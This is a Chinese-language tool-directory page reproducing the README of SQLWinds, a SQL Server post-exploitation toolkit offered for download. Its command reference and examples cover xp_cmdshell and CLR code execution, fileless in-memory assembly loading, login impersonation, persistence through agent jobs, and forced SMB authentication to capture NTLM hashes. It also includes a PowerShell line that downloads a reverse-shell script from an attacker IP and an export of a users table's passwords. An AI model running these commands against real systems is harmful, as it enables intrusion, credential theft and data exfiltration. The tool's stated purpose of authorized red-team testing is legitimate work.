Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
sqlwinds — SQLWinds - SQL Server 安全评估与后渗透工具包 | Kitploit
工具/GitHubGitHub/blue0x1/sqlwinds
权限提升持久化机制漏洞利用横向移动配置审计数据泄露后渗透利用渗透测试红队数据库安全
GitHubblue0x1/sqlwinds

sqlwinds

131年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

SQLWinds - SQL Server 安全评估与后渗透工具包

查看仓库

SQLWinds

SQL 安全评估与后渗透工具包

SQLWinds 是一款用于对 Microsoft SQL Server 进行安全测试与利用的命令行工具。它提供了一个交互式环境,可深度分析服务器、提升权限、执行攻击并在网络中横向移动,同时配备用于内存代码执行和 SCCM 数据库探测等任务的专用命令。


SQLWinds


📖 文档与资源

Wiki Issues Releases

快速链接:

  • 完整文档与 Wiki - 完整使用指南和命令参考
  • 报告问题 - 发现了 Bug 或有功能请求?
  • 最新版本 - 下载最新版本

功能特性

  • 多种身份验证: 支持 SQL、Windows 集成(--integrated)和 Kerberos 委派(--kerberos 配合 --user/--pass)。
  • 全面枚举:
    • 服务器信息、数据库、表、列、用户和权限。
    • 安全配置审计(xp_cmdshell、CLR、OLE 等)。
    • 敏感数据发现和机密提取。
    • 链接服务器枚举与利用。
  • 后渗透与横向移动:
    • 代码执行: 启用并使用 xp_cmdshell、OLE 自动化过程(sp_oacreate)和 CLR 集成。
    • 内存 CLR: 直接从内存加载并执行 .NET 程序集,无需将文件落盘(:memclr)。
    • 凭据窃取: 强制向 UNC 路径进行 SMB 身份验证,用于中继攻击(:unc_smb)。
    • 注册表交互: 通过 xp_regread 读取注册表项和值。
    • 持久化: 创建、列出和执行 SQL 代理作业。
    • 数据外传: 上传/下载文件并将查询结果导出为 CSV/JSON。
  • SCCM 数据库交互:(如果目标数据库是 SCCM)
    • 检测 SCCM 并报告版本/站点信息。
    • 盘点硬件、软件、集合和部署。
    • 执行 SCCM 特定的安全审计。
  • Kerberos 分析: 在 Active Directory 中检查与目标关联的 SPN,以排查 Kerberos 身份验证问题。
  • 实例发现: 枚举域中可用的 SQL Server 实例。
  • 高级 REPL: 具有自动补全和命令历史的交互式环境。

安装与编译

快速构建

该仓库包含一个 build.bat 脚本,便于在 Windows 上编译:

.\build.bat

编译后的 SQLWinds.exe 可执行文件将位于 bin\Release\ 目录中。

手动构建

  1. 确保已安装 .NET Framework(≥ 4.6.1)或 .NET SDK。
  2. 克隆仓库:
    git clone https://github.com/blue0x1/sqlwinds.git
    cd sqlwinds
    
  3. 编译解决方案:
    msbuild SQLWinds.sln /p:Configuration=Release
    

使用方法

基本连接

# SQL Authentication
SQLWinds.exe --server TARGET\\INSTANCE --user sa --pass Password123

# Windows Authentication (Current User Context)
SQLWinds.exe --server sql01.corp.local --integrated

# Kerberos Delegation (with provided credentials)
SQLWinds.exe --server sql01.prod.corp.local --kerberos --user CORP\\svc_sql --pass SvcPass123!

# Connect and run a single command
SQLWinds.exe --server 10.0.0.5 --user sa --pass pass --run-cmd "SELECT name FROM sys.databases"

常用命令行选项

选项描述
--server目标服务器(IP、主机名、实例)。必填。
--user, --passSQL 或 Windows 身份验证的凭据。
--integrated使用当前 Windows 令牌进行身份验证。
--kerberos使用 Kerberos 身份验证流程。
--spn-check检查 AD 中目标主机的 SPN。
--run-cmd "<SQL>"执行单条 SQL 命令并退出。
--run-file file.sql从文件执行 SQL 脚本并退出。
--info收集并显示全面的服务器信息。
--getinstance发现域中的 SQL 实例并退出。
--list-dbs列出数据库并退出。
--security-audit执行安全审计并退出。

交互式 REPL 模式

sqlwinds> :info
sqlwinds> :dbs
sqlwinds> :users
sqlwinds> :enable_xp_cmdshell
sqlwinds> :xp whoami
sqlwinds> :spn
sqlwinds> help

完整 REPL 命令参考

命令描述示例
:info显示详细的服务器信息:info
:dbs列出所有数据库及详细信息:dbs
:tables [db] [schema]列出数据库/架构中的表:tables master dbo
:columns <table> [schema] [db]列出表的列:columns Users dbo MyDatabase
:users列出所有 SQL 登录名和数据库用户:users
:perms显示当前用户权限:perms
:audit执行安全配置审计:audit
:search [term]搜索敏感数据:search password
:secrets提取潜在机密:secrets
:services显示 SQL Server 服务帐户:services
:spn检查目标主机的 SPN:spn
:enable_xp_cmdshell启用 xp_cmdshell:enable_xp_cmdshell
:disable_xp_cmdshell禁用 xp_cmdshell:disable_xp_cmdshell
:xp <command>通过 xp_cmdshell 运行操作系统命令:xp whoami
:enable_ole启用 OLE 自动化:enable_ole
:disable_ole禁用 OLE 自动化:disable_ole
:ole_cmd <command>通过 OLE 运行操作系统命令:ole_cmd "calc.exe"
:enable_clr启用 CLR 集成:enable_clr
:disable_clr禁用 CLR 集成:disable_clr
:deploy-clr <path>从文件部署 CLR 程序集:deploy-clr C:\Tools\cmd.dll
:list-assemblies列出已部署的 CLR 程序集:list-assemblies
:clr_exec执行 CLR 方法:clr_exec MyAssembly MyClass Method arg1
:memclr从内存执行 CLR 程序集:memclr "C:\Tools\exec.dll" "Namespace.Class" "Method" "arg"
:remove-assembly <name>移除 CLR 程序集:remove-assembly MyAssembly
:list_linkservers列出链接服务器:list_linkservers
:linkrpc <srv> <cmd>通过链接服务器执行命令:linkrpc LINKEDSRV "whoami"
:impersonate <login>模拟 SQL 登录名:impersonate sa
:revert还原安全上下文:revert
:agent_job管理 SQL 代理作业:agent_job create MyJob "whoami"
:ls [path]通过 SQL 列出目录:ls C:\Windows\Temp
:unc_smb <path>强制向 UNC 进行 SMB 身份验证:unc_smb \\192.168.1.100\share
:plain粘贴大型 SQL 脚本(参见下面的示例)
:regread读取注册表值:regread HKEY_LOCAL_MACHINE Software\Microsoft value
:regread_all列出某个键中的所有值:regread_all HKEY_LOCAL_MACHINE Software\Microsoft
:upload将文件上传到表:upload C:\file.txt MyTable
:download从查询下载二进制文件:download "SELECT file FROM blobs" out.bin
:exportcsv将查询导出为 CSV:exportcsv "SELECT * FROM users" out.csv
:exportjson将查询导出为 JSON:exportjson "SELECT * FROM users" out.json
:sccm_info检测 SCCM 数据库:sccm_info
:sccm_inventory显示 SCCM 库存:sccm_inventory
:sccm_collections列出 SCCM 集合:sccm_collections "All Systems"
:sccm_deployments显示部署:sccm_deployments
:sccm_clients列出客户端:sccm_clients inactive
:sccm_auditSCCM 安全审计:sccm_audit
:sccm_application显示应用程序详细信息:sccm_application "Google Chrome"
help显示帮助help
exit退出 REPLexit

示例:使用 :plain 处理大型脚本

:plain 命令对于执行大型多行 SQL 脚本至关重要。

sqlwinds> :plain
SQL> 
SQL> BEGIN TRY
.....>     SELECT * FROM [VeryImportantTable];
.....>     EXEC sp_configure 'show advanced options', 1;
.....>     RECONFIGURE;
.....> END TRY
.....> BEGIN CATCH
.....>     SELECT ERROR_MESSAGE();
.....> END CATCH
.....> :execute
  1. 输入 :plain 并按回车。
  2. 粘贴或输入完整的 SQL 脚本。
  3. 在新行中,输入 :execute 运行整个脚本,或输入 :cancel 中止。

示例

1. 审计

SQLWinds.exe --server dc01 --integrated --security-audit 

2. 利用 xp_cmdshell 执行代码

SQLWinds.exe --server 192.168.1.15 --user sa --pass pass --enable-xp-cmdshell
# In the REPL that opens:
sqlwinds> :xp whoami /all
sqlwinds> :xp powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.10/revshell.ps1')"

3. 内存 CLR 执行(无文件)

# Compile your .NET assembly to a DLL (e.g., CommandExecutor.dll)
sqlwinds> :enable_clr
sqlwinds> :memclr "C:\Tools\CommandExecutor.dll" "CommandExecutor.Class1" "Exec" "whoami"

4. 通过 SRelay 窃取 NetNTLMv2 哈希

# On your machine: sudo responder -I tun0
sqlwinds> :unc_smb \\10.10.15.10\fake_share

5. SCCM 数据库利用

SQLWinds.exe --server sccmdb.corp.local --integrated
sqlwinds> :sccm_info
sqlwinds> :sccm_collections
sqlwinds> :sccm_application "Microsoft 365"

6. 数据外传

# Export sensitive data to CSV
sqlwinds> :exportcsv "SELECT username, password FROM users" credentials.csv

# Download a file stored in the database
sqlwinds> :download "SELECT file_data FROM documents WHERE id=1" secret.docx

🤝 贡献与支持

我们欢迎贡献!如果您有改进想法或发现任何问题:

  1. 查阅 Wiki 获取文档
  2. 搜索现有 Issues 以避免重复
  3. 创建新 issue,并提供有关您的建议或 Bug 报告的详细信息

⚠️ 免责声明

本工具仅用于授权安全测试和教育目的。对您不拥有或未经明确许可测试的系统进行未经授权的使用是违法的。开发者不承担任何责任,也不对因本程序造成的任何误用或损害负责。


致谢

由 blue0x1 开发。

下载工具